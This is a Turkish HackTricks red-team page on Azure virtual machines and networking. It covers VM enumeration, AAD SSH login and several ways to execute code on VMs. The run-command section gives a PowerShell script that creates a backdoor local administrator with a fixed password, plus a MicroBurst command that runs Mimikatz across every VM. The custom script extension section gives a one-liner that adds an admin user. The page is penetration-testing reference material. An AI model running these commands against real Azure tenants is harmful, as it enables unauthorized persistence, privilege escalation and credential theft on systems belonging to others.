Az - Virtual Machines & Network

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel bilgiler

Dokümantasyondan: Azure sanal makineler, Azure'ın sunduğu birkaç türden biridir. Genellikle, diğer seçeneklerin sunmadığı şekilde hesaplama ortamı üzerinde daha fazla kontrol istediğinizde sanal makine seçersiniz. Bu makale, bir sanal makine oluşturmadan önce dikkate almanız gereken bilgileri, nasıl oluşturacağınızı ve nasıl yöneteceğinizi size sunar.

Azure Ağ Bilgisi

Azure ağları, farklı varlıklar ve yapılandırma yöntemleri içerir. Farklı Azure ağ varlıklarının kısa açıklamalarını, örneklerini ve sıralama komutlarını aşağıdaki bağlantıda bulabilirsiniz:

pageAz - Azure Network

Azure Bastion

Azure Bastion, Azure portalı üzerinden SSL üzerinden güvenli, tamamen yönetilen bir RDP (Uzak Masaüstü Protokolü) ve SSH (Güvenli Kabuk) erişim çözümü sunar. Azure Sanal Ağı içinde entegre edilmiştir ve özel IP'leri kullanarak VM'lere RDP ve SSH bağlantısı sağlar, böylece genel IP atamaları ve VM erişimi için NSG kural yapılandırmalarıyla ilgili geleneksel yöntemlere göre daha güvenli ve kullanışlı bir alternatif oluşturur. Geliştiriciler ve BT personeli, web tarayıcılarını kullanarak Azure portalından VM'lere güvenli bir şekilde erişebilir, bu da geliştirme ve test ortamları için süreci kolaylaştırır.

Aboneliğinizdeki tüm Azure Bastion Sunucularını listelemek için aşağıdaki komutu kullanabilirsiniz:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Sanal Makine Saptama

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Bir sanal makinede komut çalıştırma

VM'de AAD Oturumu Açma

AzureAD üzerinden kimlik doğrulaması yapılan kullanıcılara erişim izni vermek mümkündür. Örneğin, bir Linux VM'ye erişmeye çalışırken ssh username@azure-corp.com@1.1.1.1 (oturum açmaya çalışırken kullanılan azurecorp ile birlikte e-postayı kullanmak önemlidir) gibi bir hata alabilirsiniz:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Sadece bu talimatları takip edin https://microsoft.com/devicelogin adresine gidin ve kodu belirtin, kimlik bilgileri olarak e-posta ve şifreyi kullanın ve SSH üzerinden bağlantı kurabilirsiniz (bu kullanıcının yapabilmesi için yeterli izinlere sahipse: Virtual Machine Administrator Login veya Virtual Machine User Login rolü).

Komut Çalıştır

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Özel Komut Uzantısı Çalıştırma

Azure sanal makine (VM) uzantıları, küçük uygulamalar olup, Azure VM'lerinde dağıtım sonrası yapılandırma ve otomasyon görevleri sağlar. Örneğin, bir sanal makine yazılım kurulumu, antivirüs koruması veya içinde bir komut dosyası çalıştırma yeteneği gerektiriyorsa, bir VM uzantısı kullanabilirsiniz.

Bu nedenle, yazma erişiminiz varsa, keyfi kodu yürütebilirsiniz:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC), Ansible'ye benzer bir PowerShell aracıdır ve bir ana bilgisayarı kod aracılığıyla yapılandırmak için kullanılır. DSC, Azure ile entegre olur ve belirli yapılandırma dosyalarının yüklenmesine izin verir. Bu dosyalar katı bir sözdizimine uymalıdır. Özellikle, Azure'daki DSC uzantısı, belirli biçimlendirme kriterlerini karşılayan dosyalardan komutları yürütebilir, hatta DSC standartları için doğru olmayan bir sözdizimine sahip olsalar bile. Bu durum, sağlanan şekilde gösterildiği gibi.

Bu komutların yürütülmesi, Az PowerShell'deki Publish-AzVMDscConfiguration işlevi tarafından kolaylaştırılır. Gereksinimler arasında tanımlı bir işleve sahip bir .PS1 dosyası ve dosyanın bir .zip dosyasına sıkıştırılması bulunur. DSC için sözdizimi doğru olmasa bile, kod hala yürütülür. Ancak, uzantı yürütme durumunu "başarısızlık" olarak işaretler ve başarısızlık mesajı tarafından üzerine yazıldığı için komuttan herhangi bir çıktı görüntülenmez.

VM Uygulama Tanımları

VM Uygulama Tanımları, bir Azure VM'ye sürümlendirilmiş uygulamaların tekrarlanabilir bir şekilde dağıtılmasını sağlar. Bu kaynak, VM'ler arasında uygulamaların dağıtımını ve güncellenmesini destekler. Bunun için New-AzGalleryApplication ve New-AzGalleryApplicationVersion gibi komutlarla birkaç adım gereklidir.

Bu yöntemle uygulamaların veya komutların yürütülmesi, uygulama bir VM'ye uygulandığında otomatik olarak yüklenen "VMAppExtension" tarafından gerçekleştirilir. Uzantı, belirtilen URI'den dosyayı alır ve uygulama adıyla, uzantısız olarak adlandırır. Dosyanın doğru şekilde yürütülmesi için REST API çağrısındaki "ManageActions" alanının dosyayı uygun uzantıyla yeniden adlandırması gerekmektedir. Bu yöntemin kurulumu tamamlandığında, sağlanan şekilde gösterilen yapıya benzeyecektir.

Ancak, bu yürütme yöntemi nispeten yavaştır ve bir uygulamanın veya komutun yürütülmesi yaklaşık 3-4 dakika sürer. Bu işleme ilişkin dosyalar, uygulama kopyası için C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ ve yürütme durumu için C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ dizinlerinde depolanır.

Her iki teknik de Azure ortamlarında komutların yürütülmesi ve uygulamaların dağıtılması için benzersiz yöntemler sunar, her birinin kendi gereksinimleri, adımları ve dikkate alınması gereken noktaları vardır.

Azure'da Hybrid Worker Groups (HWG)

Hybrid Worker Groups (HWG), bir Automation Hesabında yapılandırılan Runbook'ların, belirlenen HWG'nin bir parçası olan bir Azure Sanal Makinesi (VM) üzerinde yürütülmesine olanak tanıyan bir özelliktir. Bu yürütme, VM üzerine Runbook kodunu dağıtan bir uzantı tarafından kolaylaştırılır. Bu sürecin önemli bir yönü, gerçek kimlik bilgilerinin yürütmede bir faktör olmamasıdır çünkü kod, özellikle SYSTEM veya root olarak yükseltilmiş ayrıcalıklarla çalışır, sağlanan şekilde gösterildiği gibi.

Windows 10 VM'lerini kullananlar için önemli bir ayrıntı, Runbook için PowerShell sürümünü belirtme gerekliliğidir. PowerShell Sürümünün 7.1 yerine 5.1 olarak ayarlanması gerekmektedir. Bu gereklilik, PowerShell 7.1'in bu VM'lerde varsayılan olarak yüklü olmamasından kaynaklanır ve 7.1 sürümü belirtilirse betik yürütmesinde bir hata oluşur.

Azure'ın bu özelliği, hibrit ortamlarda görevleri otomatikleştirmek ve yönetmek için güçlü bir yöntem sunar, Azure VM'lerinde merkezi yönetim ve görev yürütme imkanı sağlar.

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated